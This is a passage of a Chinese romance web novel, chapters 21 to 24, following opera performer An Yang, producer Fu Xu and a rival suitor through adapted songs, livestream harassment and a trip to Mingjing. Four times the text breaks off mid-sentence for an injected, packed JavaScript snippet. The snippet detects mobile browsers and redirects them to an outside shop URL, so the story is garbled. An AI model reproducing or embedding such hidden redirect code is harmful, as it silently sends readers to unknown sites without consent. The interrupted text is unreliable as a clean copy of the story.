“倒是你,什么来头?”他甚至不想回头多给段斯延一个眼神。 “我吗?”段斯延很快从“住一起”的震惊中抽离出来,慢悠悠地走到他面前,把他的路挡住,“挖墙脚的。” 得,傅栩冷笑,一个打水泥一个挖墙脚,他这算遇着同行了。 - 安漾回家没多久,傅栩就给她来了消息。 F:【有空的话过来一趟。】 她正吃晚饭,筷子还握在手里,想也不想直接一口拒绝:【没空。】 信息刚发出去,屏幕上方就弹出一条音乐APP的推送—— 《实力唱将苏果携新专辑重磅回归!点击此处即刻收听~》 怪不得现在回来,原来是苏果那边的事忙完了,这才想起她。 安漾想到这个就忍不住的心烦。 傅栩不在眼前的这段时间里,她很少会想起苏果和玄兔这些乱七八糟的事,每天两眼一睁只想让闻景做大做强再创辉煌。 现在傅栩回来了,这些事又卷土重来,一起扑向她。 倒也不是讨厌傅栩,她只是讨厌这种被其他人和事操控情绪的感觉。 这不像她。 想到这里,安漾泄愤一般地戳戳他的头像,她今天就是把手机关机,从楼上扔下去也不想再回傅栩一条消息。 但打脸来得很快。 连戳两次头像后,屏幕上突然多出了一条提示。 【我拍了拍“F”】 她当场红温,把这条信息撤回,然后将手机扔到一边,继续吃饭。 “怎么回事?”任姿诧异地看着她的举动,“吃饭都不专心。” 她没说话,头都快埋进碗里了。 吃过晚饭,安漾才再次打开手机,傅栩在她撤回之后又紧接着发来了新消息。 F:【过来,跟你聊聊直播的事。】 她以为他说的是段斯延那档子事,敲键盘回复:【没什么好聊的,他今天就是来剧场看看而已。】 发完才觉得不对。 她到底在心虚什么?为什么要和他解释?他根本没有资格用段斯延来质问她。 那头的傅栩一愣:【他?】 但旋即,他理解了安漾说的是谁,解释道:【我是要和你说演出的问题。】 【你不是想让闻景的每个演员都被看见吗?】 新消息一条一条弹出来,安漾默默撤回了自己刚发出的那条。 刚才说要扔手机只是口嗨,但她现在是真的很想把手机扔得远远的。 一刻也来不及为刚才的误解而尴尬,傅栩根本没打算放过她。 F:【还是说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14273015|149765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你很在意今天这个人?】 她否认:【没有。】 过了几分钟,那边终于给了回应。 他没有再提段斯延,转而说:【你如果嫌外面冷,我去你家也行。】 安漾在心里暗骂了一句脏话,把手机扔到沙发上,平复好心情,过了会儿又灰溜溜地捡回来。 小羊:【我现在过去。】 她随便套了件外套出门,一路上疯狂给自己做心理建设。 没事,只是谈工作而已,绝对不会出现上次那样暧昧到有点诡异的情况。 电梯到达顶楼,她做了个深呼吸,按下门铃。 来开门的是楚仪,安漾悬着的心落下来一点,至少不用和傅栩单独相处了。 “阿姨好。”她乖乖打招呼。 楚仪应声,拎起玄关柜子上的饭盒,又指指楼梯,告诉她:“傅栩在二楼。” 看见饭盒,安漾心里顿时警铃大作。 果然,楚仪换了鞋,对她道:“我先去医院了,你需要什么就告诉傅栩。” 她点头,随着大门一开一合,悬着的心终于死了。 这下又只剩下她和傅栩了。 但来都来了,安漾也不可能再临阵脱逃,她上楼,傅栩的房门大敞着。 她还是象征性地敲了敲门,“傅栩?” 他刚收拾好东西,把行李箱推到角落放好,让她进来。 安漾就站在门口,开门见山道:“你说吧,我就不进去了。” “你来罚站?”傅栩见她在门边站得笔直,笑道。 他指指工作台边的位置,“坐那儿。” 安漾犹豫了一下,一直站在这里也不是个事儿,还是按他说的做了。 等她坐下,傅栩绕到她旁边,打开电脑。 他们已经有些日子不见了,安漾突然觉得这样近的距离有些不真实,他衣角清爽的气息把她包围,她平白有些留恋这种感觉。 傅栩操作电脑,播放了一段伴奏。 很耳熟的曲调,安漾总觉得自己在哪里听过。 “这是......《人间好》?” 这段伴奏是流行乐的风格,但她对《人间好》足够熟悉,依然能听出其中的基调。 “对。”傅栩点头,“我在原曲的基础上做了一些改编,你觉得怎么样?” 傅栩的改编很有新意,在原版传统乐器的基础上加入了钢琴伴奏,中西结合却不显得突兀,反而改进了听感。 尽管安漾还在单方面跟他别扭着,也不得不承认,傅栩被业内称为人形印钞机不是没有道理。 哪怕她只听了这么一小段伴奏,也能预想到这首歌做成成品会有多惊艳。 “我想把经典剧目做一些改编,由你带闻景的其他演员重新演绎。”傅栩说:“这种方式可能更容易被普通观众接受,也能像你希望的那样,让大家注意到闻景的其他演员。” 安漾先前完全没想过还有这种路子可以走,喜上眉梢,毫不吝啬自己的夸奖,“傅栩,你是天才。” “但是安漾,”他突然垂头,语气听来有些为难:“你知道的,我写一首歌的价格很贵。” “所以你打算怎么给我报酬?” 未等她开口,傅栩补充道: “这次不接受刮刮乐。” 22.第二十二章 静谧的房间里,两人的呼吸声被无限放大,安漾沉思良久,问他: “那大乐.透?” 傅栩一怔,垂眸看见她小心翼翼的眼神,哭笑不得,“不行。” 她小小地“啊”了一声以示不满,无精打采地把下巴磕在桌面上,颇有些破罐子破摔的意思:“那怎么办?” 像个被放了气的气球似的,她说话也有气无力,抬眼看着傅栩,“就你这个价格,就算把我卖了也付不起。” “你愿意把自己抵押给我也可以。”傅栩顺着她的话说下去。 她这会儿倒是来精神了,抬手拍了他一下,恶狠狠道:“抵你个头。” 他不怒反笑,拉过一把椅子坐在她对面,随手扯过纸笔给她算起来,“编曲、录音,加上后期,这是一首歌的价格。” 安漾的目光紧紧跟随笔尖,在心里默数着。 个,十,百,千,万,十万...... 每多出一位数,她的脸色就沉重一分,面部表情的变化被傅栩用余光尽收眼底。 他压住嘴角的笑意,“我准备了五首歌。” 说着,他又在这串数字后乘以五。 一长串数字看得安漾两眼一黑,默默掐一把自己的大腿,确认这不是自己的幻觉。 过了一会儿,她终于下定决心,问:“你能活到两百岁吗?” “什么?”这突然的问题让傅栩摸不着头脑。 “如果你能活到两百岁,说不定能等到我付上这笔钱。”她越说声音越小,眼神飘忽不定,最后落回那串数字上。 傅栩了然,他一向善解人意,“如果是你的话,我可以打个折。” 她绝望闭眼,按眼下这个价格,就算是打骨折她也付不起。 安漾微不可察地叹了口气。 傅栩低头,见她蔫蔫地趴在桌上,唇角勾起。 少顷,他用笔划掉那一串数字,“或者换一种支付方式。” 听闻还有商量的余地,安漾坐直身子与他平视,眼睛亮亮的。 “你来帮我搬家,抵扣一部分金额,怎么样?” 她刚燃起的希望又熄灭掉,“你要搬去哪儿?又要回明京吗?” 他失笑,“你到底有多希望我走?” “不是的。”安漾想辩解,“我只是觉得你工作很忙,没时间在景城待太久,而且......” “安漾。”傅栩打断她,“我要搬到景城了。” 这是她未曾设想过的答案,“为什么?” 虽然对傅栩的工作了解不多,但她知道他的事业重心一直都在明京,华悦唱片也一直驻扎在那里,如果搬到景城,怎么都不方便。 “因为你。”他半开玩笑道:“为了方便给你打工。” 这话半真半假,平淡的语气落在安漾耳中却像一记炸雷,花了好长时间才缓过来。 “不不不。”她条件反射地摆手,差点碰倒桌上的东西,“不用这么麻烦的,闻景现在直播有我和西西,我们应付得来的。” 说完她又觉得后悔了。 说实在的,在听见他要留下的那一刻,安漾的内心是窃喜的。 但想到他一直在明京生活和工作,贸然搬到景城定会有诸多不便。他已经做了太多,安漾不想再让他为闻景抑或是她做出牺牲。 他没有必须为她付出的理由。 “明年,华悦的分公司会设在景城。”他笑。 好吧,是她自作多情了,安漾为自己刚才的想法尴尬,偏过头去不想看他。 “他们原本没打算把我调到景城。”傅栩道:“是我自己要来的。” 她动作一顿,然后转过头,狠狠瞪了他一眼,“你说话就非得大喘气吗?” 他无辜,“我有吗?” “怎么没有?你刚才明明......” 安漾话说到一半戛然而止,她心里窝火,总不能把刚才那一通乱七八糟的心理活动告诉他。 见她不说话,傅栩问:“明天上午陪我去一趟新家?” “抵扣一首歌的价格。”他补充。 “好。”一码归一码,她没有道理拒绝这么诱人的条件。 但现在,她是真的待不下去了,“没别的事我就先回去了。” 安漾起身,走到卧室门口时低头拉拉自己的外套,确认不会出现上次落下外套的情况。 “对了,上次那首歌。”傅栩突然问她:“喜欢吗?” 安漾僵在原地。 她上次根本没点开那首歌。 “我删掉了。”她纠结了片刻,还是老老实实交代。但为了不显得自己太理亏,她找了一个拙劣的借口,“手滑。” 傅栩无奈,“你的意思是你不小心点进了聊天界面,又不小心长按文件,再不小心点到删除,是吗?” “是啊,太不小心了。”安漾讪笑两声,一个闪身出门下楼,“明天见。” - 他没有再把那首歌发给安漾,只和她约好第二天上午在小区门口见面。 她乖乖答应,傅栩现在手握闻景的未来,他说东她绝不往西。 车等在小区门口,安漾远远就看见了,径直过去拉开后门。 后排空空如也,傅栩从驾驶座上扭头,“来前面。” 她一愣,关上后门到副驾,“你的车?” “嗯。”他一手搭在窗框上,猜到她想问什么,“刚买不久,没来得及告诉你。” 他长臂横在面前,替她拉过安全带系上。 安漾被这突然的动作惊呼吸一滞,后背不自觉地往后贴,想和他隔开距离。 安全带的锁扣发出“咔哒”一声细响,傅栩撤回手,“你那段时间躲我就跟躲瘟神似的。” 她悻悻地扯了扯嘴角,没有说话。 车上放着轻柔和缓的音乐,音量很低,带了点催眠的效果。 安漾被这音乐搞得昏昏欲睡,歪着头靠在车窗上,眼皮都快阖上了。 音乐渐歇,车里安静了不到三秒,接着传来一段强劲的电吉他声。 她被惊醒,睡眼朦胧地瞥向车上的中控屏,傅栩已经伸手关掉了音乐。 但她还是隐约看清了歌手一栏的名字。 苏果。 又是苏果。 安漾揉揉太阳穴,怀疑自己和这个素未谋面的苏果八字相冲。 她的睡意全亡迭了,但感觉到傅栩余光瞟向自己,只能侧身向着车窗,闭眼装睡。 车一路开出熟悉的街区,安漾再睁开眼时,被远处湖面上的粼粼波光刺得眼睛疼。 她眼前一阵一阵地发黑,直到车驶入地下车库才好了些。 “怎么了?”傅栩早就注意到她一直在眨眼睛。 安漾摇头,等车停好,跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304224|149765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他上了电梯。 一梯一户的大平层户型,傅栩输入密码开门,让她先进去。 安漾走出几步,回头见他正低头看手机。 她张张嘴,想问他怎么不进来,口袋里的手机却传出一声振动。 傅栩发来一串数字,对上她茫然的目光,道:“密码。” 安漾见过这串数字,在几年前第一次登台演《芙蓉花仙》的照片右下角。 她迟钝地点点头,背过身去,装作对周围的陈设很感兴趣的样子。 家具都已经购置好了,整个屋子的装修是法式极简风,宽敞明亮,唯一欠缺的生活气息被穿透玻璃的阳光消解。 “你还缺点什么吗?我送你做乔迁礼物。” “你帮我看看。”傅栩靠在门口,眉眼间尽是温柔。 安漾扬扬眉毛,走进客厅仔细打量一遍。 基本的家具都已经齐了,只差点生活用品,但这些东西傅栩大概也不缺。 她思索片刻,“买点绿植?” “你喜欢什么样的?”傅栩倒了杯水给她。 安漾笑了,“是我送你,得看你喜欢什么。” “我不了解这些。”他说:“你选你喜欢的就好。” 她双手捧着杯子,“我喜欢塑料的。” 傅栩:? “安漾垂着头,“小时候学校课外实践,一人发几颗种子让养花。” “然后呢?” “然后因为浇了太多水,我头一天就把这些种子全淹死了。” 傅栩扶额,死死咬住嘴唇不让自己笑出声。 “下次一起去挑吧。”他道:“你浇水的时候我在旁边看着,这次不会养死的。” “好。”安漾兴致昂扬,完全没意识到他把养花的活儿交给了她。 两人没在这里待太久,安漾下午还得回闻景直播。 傅栩带她在家里转了一遍,她尽职尽责地在手机备忘录里记下了需要添置的物品,又在附近简单吃了顿饭,驱车回剧团。 剧团在一条老街上,安漾隔得老远就看见一辆扎眼的女武神。 这车实在是太招摇了,哪怕她昨天只看过一眼,也能猜到它的主人是谁。 她的视线在车上停留几秒,而后默默挪到路中。想到一会儿又要应付段斯延,她只觉得头疼。 不出所料,她前脚刚踏进剧团,立马就被叫住。 “安漾。”段斯延搬了把椅子在院子里晒太阳,眯缝着眼睛,兴师问罪一般:“那个AAA川剧商演老刘不是你?” 她听乐了,又觉得这话问得莫名其妙,“这不废话吗?我又不姓刘。” 段斯延被噎住,气焰瞬时间熄灭。 “刘叔专门负责闻景的商演,你跟他谈就好。”她不再多作停留,往化妆间走去。 段斯延坐不住了,他从椅子上跳起来,伸手欲拉住她,却被身后的傅栩截住。 动作受限,段斯延不耐烦地回头,见拦他的人是傅栩,眉头拧成一个结。想甩开他,傅栩却先一步松开手。 安漾隐隐约约感觉到身后有什么动静,转过头一看,傅栩和段斯延都已经规规矩矩站在身后,仿佛什么都没发生过。 她有些狐疑地看了傅栩一眼,眼神里带着询问的意味。 “你先去化妆。”他眼神轻佻地扫了一眼段斯延,对安漾道:“我在这里等你。” 23.第二十三章 安漾今天演《思凡》里的色空,开场就是一大段的云帚舞和单独唱段。 她许久没演过这一出了,云帚用得有些生疏,前几天排练时就频频出错,把任姿气得够呛。 这会儿刚化好妆,任姿把云帚往她手里一塞,“抓紧时间再练几遍。” 安漾无可奈何,乖乖在任姿的注视下把开场的那段跳了好几遍,这才被放去后台。 她原本是不怎么在意的,但被任姿这样一敲打,站在侧台候场时突然感到久违的紧张。 好在有刚才的临阵磨枪,开头的一段云帚舞还算看得过去。她在心里松了口气,接着唱词: “昔日嫦娥貌如仙,奔广寒碧海青天*......” 最担心的云帚舞部分已然过去,她在唱这一项上向来挑不出毛病,之后的演出得心应手。 安漾的目光从观众席掠过,看见孟西禾坐在老位置守着手机直播,段斯延坐在最前排,正朝她挤眉弄眼。 她移开目光,借着转圈的时机私下张望,却唯独没有看见傅栩的身影。 她觉得奇怪,傅栩很少会在她演出的时候缺席。 好不容易熬到演出结束,安漾和往常一样下台,到后排去和直播间的观众们打招呼闲聊。 剧场里的观众陆续离开,直播间里却比她在台上时还要热闹。 她一边跟弹幕聊天,一边随意拨弄着云帚上的流苏,眼神逮着空就在剧场里四下乱飞,始终没找到傅栩。 安漾撇撇嘴,从孟西禾那里拿过自己的手机,偷偷给他发微信。 小羊:【你人呢?】 消息发出,她没时间守着手机等傅栩回复,抬头就看见一条弹幕: 【小羊和第四页见面了吗?】 她把自己的手机放到一旁,心里暗自思忖着要不要回答这个问题。 但在她犹豫的这段时间里,一条更为显眼的弹幕已经跳出来了。 第四页:【见到了。】 一石激起千层浪,直播间立马炸开了锅: 【真约饭了啊?】 段斯延从远处看了她一眼,在手机上热情应答,回复:【快约上了。】 【主播真的见光死吗?】 【以后还会播吗?】 弹幕刷新得太快,很多内容她几乎都看不清了,却一眼锁定在了那个问题。 安漾蹙眉,“为什么不播?” 【我以为主播被包.养了呢。】 【攀上富哥当然不用播。】 她脸色一沉,说:“第四页只是来看演出而已,我们私下没有单独接触。” 刚才一直在直播间积极互动的段斯延,这时候却不说话了。 【这种人能不能滚出直播间。】 【妖魔鬼怪快离开[老爹摇铃]】 虽有人搅局,但终归还是维护安漾的人居多,两条不和谐的弹幕很快被刷下去。 孟西禾见状连忙禁言了刚才的人,拍拍她的后背以示安抚。 屏幕上已经找不到刚才的弹幕了,但安漾还是忍不住地走神。她勉强维持住表情管理,回答了几个无关痛痒的问题,借口有事提前下播。 孟西禾看出她生气了,宽慰她道:“没事,总有人嘴臭,咱们以后不理这种弹幕了,我见着一个拉黑一个。” 她没出声,沉默地收拾设备。 剧场里现在只剩下她们和段斯延了,手机支架触地的声响在空寂的剧场里回荡。 面前的光线被人挡住,视线范围内霎时间变得黯淡。她以为是傅栩来了,一抬眼,是段斯延。 安漾深呼吸,尽量对他保持礼貌,起身一言不发地绕开他走。 但段斯延没有想要放过她的意思,她往那边走,他便跟着挪过去。 观众席的座位间隔本来就很窄,段斯延站在中间,把过道挡了个严严实实。 安漾没忍住“啧”了一声,本来就烦,这会儿又遇着他主动往枪口上撞,她彻底受不了了,幽幽地看着他,“你能不能让开?” 她语气里净是不耐烦,但段斯延不在乎,耸耸肩道:“行啊。” 闻言,安漾静静等着他让开一条路。 但他依旧站在原地,一手插兜,吊儿郎当地杵在她面前,“你什么时候愿意给我联系方式,我就什么时候让开。” 无赖。 安漾在心里骂了一句,放弃让他让路的念头,开始思考要怎么从后排翻出去。 “安漾,我真的没有恶意,只是想和你叙叙旧。” 轻浮的语气毫无可信度,她只觉得烦,像是莫名其妙粘上了块狗皮膏药,怎么都甩不掉。 “我们以前也不熟吧?没什么可叙的。” 段斯延不放弃,“那你就把我当成你的粉丝吧。” 她听得发笑,落在身侧的手默默攥紧成拳,“段斯延,如果你觉得在直播间花了钱就能在我这里当大爷,那我可以把钱全部退给你。” 她不想再维持什么体面,一把推开他,从狭窄的空间里挤出去。 趁着她刚才直播的时候,傅栩和任姿讲了要改编经典剧目的事。 任姿对新鲜事物的接受能力很强,对傅栩的印象也一直不错,只听他简单一提便欣然同意,让他放心去做,闻景上上下下都会全力支持。 谈话时,他一直静音挂着直播间,虽没听见说了什么,但却看见了那几条碍眼的弹幕。 察觉到安漾情绪的异常,他快速结束了和任姿的交谈,本想到剧场来找她,结果刚走到门口就和快步出来的她撞了个满怀。 安漾险些没站稳,往后退了几步,被身后的孟西禾扶住。 她头也不抬,拐个弯直接去了后院。 傅栩诧异,一挪眼看到坐在后排的段斯延,眸中的愠色渐浓。 他缓步走到段斯延面前,笑里带着几分轻蔑,“这就是你挖墙脚的手段?” 段斯延死死盯着安漾离开的方向,咬牙切齿,“关你什么事?” 傅栩居高临下地看着他,眼神冰冷而淡漠,“你所谓的喜欢一个人的方式,就是往她身上泼脏水,然后让她走投无路只能选择你?” “安漾没有你以为的那么脆弱,也永远不会走投无路。”傅栩轻飘飘地瞥了他一眼,面露嘲讽,“跟你当竞争对手挺没意思的。” 段斯延被堵得哑口无言,心里却还是不服气,只能对他怒目而视。 - 傅栩到化妆间去找安漾时,她已经换好了衣服,照常窝在角落的沙发上,和孟西禾做直播复盘。 傅栩无意打扰她们,恰好刘叔拉着他聊天,他便配合着过去了。 每天的复盘花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323931|149765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不了太长时间,结束后孟西禾伸了个懒腰,起身收拾东西,“下班!” 安漾被她一副终得解脱的模样逗笑了,随手拿过用来直播的手机,和往常一样打算翻翻私信,等孟西禾那边搞定就关机下班。 但稍稍好转的心情很快就被私信里的文字压下去了。 刚发来的私信被顶到最上面,她对这名字有印象,是今天在直播间被禁言的人。 看这架势,他大概对禁言这事颇有不满,转头就来这儿私信轰炸,一连发了十几条。 安漾只觉得浑身上下的血液都涌上头,明明私信里的每一个字她都认识,可是组合在一起却变得难以辨别。 她对话框里敲字:【你是被包过吗?看谁都像同行。】 “走吗?”孟西禾拎着包来她面前,打了个响指吸引她的注意力。 她用力点头,注意力却还在手机上。 孟西禾好奇,抽出她握着的手机,当即看见屏幕上的污言秽语。 她惊愕地抬头,看向安漾。 “走呀。”安漾满不在乎地抢过手机,长按关机。 隔得太远,傅栩不知道她们简短的对话之下掩盖着什么,只等她们过来,非常自觉地跟上充当司机。 车里安静了一路,只有孟西禾在报地址时讲了几句话,余下的大部分时间,安漾都望着窗外发呆,孟西禾时不时侧目看看她。 察觉到好友眼神中的关切,安漾不想让她担心,只能冲她苦笑。 孟西禾先到家,下车时回头勾勾她的手指,柔声道:“不开心就给我打电话,我随时都有空的。” 安漾想应声,可嗓子里刚挤出一个音节,她就觉得鼻子发酸。遂立马收声,免得情绪偷跑出来。 孟西禾一看便知她还是被那些私信影响了情绪,无奈地叹了口气,关上车门。车内只剩下她和傅栩。 她坐在后座,傅栩看不清她的表情,但从车里的低气压也能判断出她的心情不好。 他没有多问,给安漾留下独处的空间,一直等到车到达小区停好,才开口叫她。 “嗯。”安漾应声,带着浓重的鼻音。 傅栩心里一紧,解开安全带下车。 后座的门被拉开,他看见安漾的眼眶里蓄满泪水。 他的心像是被一只无形的大手猛然攥紧,一时间顾不得别的,抬手将她拥进怀里。 他设想过很多个拥抱她的场景,但绝对没有现在这样的情况。 她呜咽的声音像是受伤的小兽,傅栩心软成一滩水,却无从安慰起,只能收紧双臂把她抱得更近了些。 过了许久,怀里的哭声间歇。 安漾哭累了,铺天盖地的薄荷味在提醒她身处何地,贴得太近,她甚至能听清傅栩的心跳声。 意识回笼,她不安地在他臂间动了一下,被傅栩察觉到,松开了手。 她的发丝粘在脸上,刚才哭得太用力,脸因为缺氧变得红扑扑的。 傅栩俯下身,仔细地帮她把头发拨下来,问:“想不想给自己放个假?” 安漾看着他,眼睛还是红红的,眼泪却不知何时已经止住了。 他忍不住再次将她揽到怀中,手指穿过她的发丝,声音温柔得像是在哄一个委屈的小孩: “我们去明京休息一段时间,好不好?” 24.第二十四章 飞机行至明京市上空时,天空中飘起小雪。 安漾睡得很浅,又被气流给颠得清醒了几分。天色已经暗下来了,她将眼睛睁开条缝,迷蒙间望见窗外灯火通明的城市,恍若漆黑大海上的孤岛。 突如其来的光亮让眼睛有些难以适应,她干脆侧身闭紧双眼。 膝上的毯子随着她的动作滑落到地面,还没来得及做出反应,身旁的傅栩已经俯身捡起,帮她重新盖上。 编曲的工作接近尾声,傅栩关掉电脑偏头看去,安漾阖着双眼呼吸均匀,乍一看好像还沉在梦中。 只是颤动的睫毛出卖了她此时的状态,傅栩知道她已经醒了。 饶是昨晚在车里哭得那么委屈,在被他问到要不要来明京时,安漾还是拒绝了。 傅栩能猜到她在担心什么。 虽然不必每天都上台演出,但有她在和没她在的直播间流量一个天上一个地下。也正因如此,自从闻景的直播事业步入正轨后,安漾几乎一天都没能休息过。 借着这次直播间的风波,傅栩想让她暂时休整一下。所以在她红着眼睛摇头时,他找了一个冠冕堂皇的理由: 来明京录歌。 这个理由不算充分,但用来说服安漾也已经足够了。况且也不全是借口,毕竟他本就有这个打算。 只是这次的事让他的计划提前了而已。 安漾是被机舱广播彻底吵醒的。飞机于明京降落,她醒了醒神,想起自己已经到了另一座城市。 从廊桥望出去,隐约可见远处的城市一片莹白。她吸吸鼻子,明京的风干冷而凛冽,与景城的湿冷截然相反。 注意到她的小动作,傅栩把她拉到角落,突然俯身。 安漾刚睡醒的大脑还处在混沌之中,被他突然的靠近惊得瞬间清醒,整个人都僵在原地。 傅栩没有注意到她的怔愣,认真帮她把松散的围巾重新系好,然后非常满意地欣赏了一会儿自己刚打好的结。 “我自己来就好了。” 她说话时,傅栩方才将视线转移到她的脸上。安漾刚睡醒的眼睛还带着点水汽,小半张脸都被他系围巾时特地遮住了,讲话时瓮声瓮气。 有点可爱。 他笑了,顺着她的话答应,“好,下次你自己来。” “傅栩。”她被直勾勾的眼神看得不自在,把视线转向一旁,嘟囔道:“你老盯着我眼睛看什么?” 没等傅栩回答,她大胆说出了自己的猜想:“你该不会用我的瞳孔倒影照镜子吧。” “......”他有时候真的很难理解安漾的脑回路,接过她的行李箱,中止这个话题,“走吧。” 出口聚集着不少接机的人,安漾远远就看见有人朝着他们的方向伸长手臂,动作夸张地挥着手。 她把围巾稍微往下拉了点,看向傅栩问:“你朋友吗?” 傅栩就着她说的方向望过去,虽然很不想承认,但那个兴奋得像过年的人确实是他朋友。 两人走近了,那人毫不客气地上来就给了傅栩一个肘击,“我以为你死景城了。” 傅栩无语地扫他一眼,向安漾介绍,“这是我朋友,陆景初。” “你好。”她礼貌跟人打招呼,“我是安漾。” “你好。”陆景初热情和她握手,“我是怨种。” “什么?”安漾没听清。 他原本还想说什么,但察觉到了傅栩危险的眼神,只能默默闭嘴。 安漾转头想问傅栩,但视线一转,看见陆景初身后的女人。 她长着一双狐狸眼,弯眉入鬓,见安漾看过来,懒懒地抬手,“好久不见。” 是上次在景城剧院见过的宁知遥。 两人简单寒暄了几句,接着往停车场去。 来接机的两个人走在前面,安漾悄悄指了一下陆景初,忍不住小声和傅栩八卦,问:“宁知遥那晚给你的戒指,是要你还给他吗?” 傅栩点头。 “那他们现在是?” 两人的关系看起来和普通的情侣无异,陆景初很自然地与宁知遥十指相扣,寻常得像是吃饭喝水。 “他们分分合合很多年了。”傅栩耸耸肩,他也不知道这两人现在唱的哪一出,“而且,上次也不是他第一次求婚失败。” 听他这么一讲,安漾的好奇心被勾起来了。但当事人就在面前,她不方便当面吃瓜。 陆景初和宁知遥是专程来接机的,离开机场后直接驱车去餐厅,为安漾准备了接风宴。 但安漾这两天都没怎么休息好,胃口也差,只是碍于一番好意尽量多吃了点。 饭后陆景初开车送她和傅栩回去,宁知遥坐在副驾,回头对安漾道:“我最近经常看你直播。” 宁知遥单单是坐在那里就像是欧洲小众文艺片里的女主角,谈笑间自带风情与韵味。 安漾和她客套了几句,又想起那枚戒指。 今天晚饭时,安漾偷偷瞄过宁知遥的手。 上面没戴饰品,只有腕上戴了一条手链。看起来不是什么大牌,但是做工精致,和她的风格很搭,第一眼就让人觉得这东西该属于她。 “今天之后就很难再见面了。”宁知遥回身坐好,看着前方拥堵凝固的车流,顿了一下,“这一餐是给你接风,也是给我送行。” “要去外地演出吗?”安漾问。 第一次见面后,她特地去查过宁知遥的资料,毕业于国内顶尖的戏剧学院,是音乐剧圈子里的风云人物,常年满世界跑地演出。 “不是,去进修。”陆景初扶着方向盘,在等红灯的空档替她回答。 “所以今晚也是散伙饭。”宁知遥的语气洒脱,说话时却默默看向坐在身边的陆景初,“我和老陆的散伙饭。” 安漾听得云里雾里:刚才在机场不还好好的吗,怎么就散伙了? 你们搞艺术的谈恋爱都这么东一榔头西一棒槌吗? - 在明京的这几天,安漾暂住在傅栩家。 傅栩最初询问她的意见时,她一整个摇头摆手疯狂拒绝。 但他振振有词:“我家房间很多,也比你一个人住酒店安全。” 话都说到这个份上了,再拒绝就显得是她想多了,安漾只好答应。 傅栩在明京的房子距离华悦唱片和录音棚都很近,陆景初开车送他们回去时,隔着车窗还能看见华悦气势恢宏的大楼。 虽然家在明京,但傅栩回国工作后就一直独居。 他一个人住着套复式,开门后直接带安漾去了二楼准备好的房间。 家里有保洁定期打扫,因而虽然他已经久不回来,房子依旧干净整洁。 安漾的房间已经提前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345737|149765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点上了香薰,清淡的香气既能舒缓神经,又不至于喧宾夺主,存在感恰到好处。 “要不要换一个?”见她站在门口迟迟没有进去,傅栩问。 “不用。”她径直走到床边,这间房的视野很好,透过窗户就能看见明京繁华的夜景。 傅栩看着她趴在窗边的背影,在她身后道:“天气预报说明天会有大雪。” “真的吗?”安漾兴奋起来,她从小就没怎么见过雪。 傅栩帮她把箱子推进房间里,“先去洗个澡。” 外面正飘着小雪,刚才下车后他们在室外走了一段路,他担心安漾又受凉。 安漾点头,注意力终于从窗外抽离,等傅栩离开后关上房门,去洗了个热水澡。 热水淋在身上的舒适感在冬日里被无限放大,她舒了口气,飞行过后的疲惫一扫而空,在浴室里多磨蹭了一会儿才肯出来。 换上睡衣,安漾给孟西禾发微信,询问今晚直播的情况。 这个点孟西禾已经下班了,回得也快:【还行,不过热度确实要比平时差点,好多人都问你怎么不在。】 她坐在床头,回:【等这边录完歌我就回去。】 西西:【没事,你多玩几天。】 【你住哪儿?我给你推荐点好玩的地方,你得空了去逛逛。】 安漾环顾四周,发了个定位过去。 西西:【?】 她如实交代:【傅栩家。】 孟西禾连发了三个问号来表达自己的震惊。 西西:【你俩进度这么快?】 安漾觉得稀奇,以往她提到傅栩,孟西禾都是一副别来沾边的嫌弃样,今天怎么突然转性了? 那边的孟西禾像个操碎心的老母亲,删删打打一大堆话,最后只发来一句:【别出人命。】 这下轮到安漾发问号了。 她甩过去一个熊猫挠头的GIF图,没等孟西禾回复,傅栩倒是先发了消息来,让她下楼。 安漾正要过去,低头看见自己身上的睡衣。 犹豫片刻,她折回去披了件外套才开门。 傅栩对安漾的体质早有见识,刚才淋了点雪,趁着她去洗澡的功夫,他煮了姜茶给她祛寒。 